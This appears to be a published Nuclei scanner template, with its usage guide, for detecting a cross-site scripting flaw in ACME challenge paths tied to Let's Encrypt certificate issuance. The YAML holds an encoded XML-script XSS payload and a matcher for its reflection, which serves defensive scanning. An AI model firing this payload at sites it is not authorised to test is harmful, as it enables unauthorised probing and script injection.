Let's Encrypt - Cross-Site Scripting

ID: acme-xss

Severity: high

Author: pdteam

Tags: xss,acme

Description

Let’s Encrypt contains a cross-site scripting vulnerability when using the the ACME protocol to issue SSL certificates.

YAML Source

id: acme-xss

info:
  name: Let's Encrypt - Cross-Site Scripting
  author: pdteam
  severity: high
  description: Let's Encrypt contains a cross-site scripting vulnerability when using the the ACME protocol to issue SSL certificates.
  reference:
    - https://www.mike-gualtieri.com/posts/chaining-remote-web-vulnerabilities-to-abuse-lets-encrypt
    - https://community.letsencrypt.org/t/xss-via-acme-implementations/72295
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 1
  tags: xss,acme

http:
  - method: GET
    path:
      - '{{BaseURL}}/.well-known/acme-challenge/%3C%3fxml%20version=%221.0%22%3f%3E%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%3Ealert%28document.domain%26%23x29%3B%3C/x:script%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<?xml version=\"1.0\"?><x:script xmlns:x=\"http://www.w3.org/1999/xhtml\">alert(document.domain)</x:script>"

      - type: word
        words:
          - "/xml"
          - "/html"
# digest: 490a0046304402205a11f7756c48540148ccc6798d85f351672ccc53909cf708ed9e54d52ac442e302205194c74162a0098ed7d083bab82e4cf1cdda89d7ede0c11ea92ca2cfa7e089cf:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/acme-xss.yaml"

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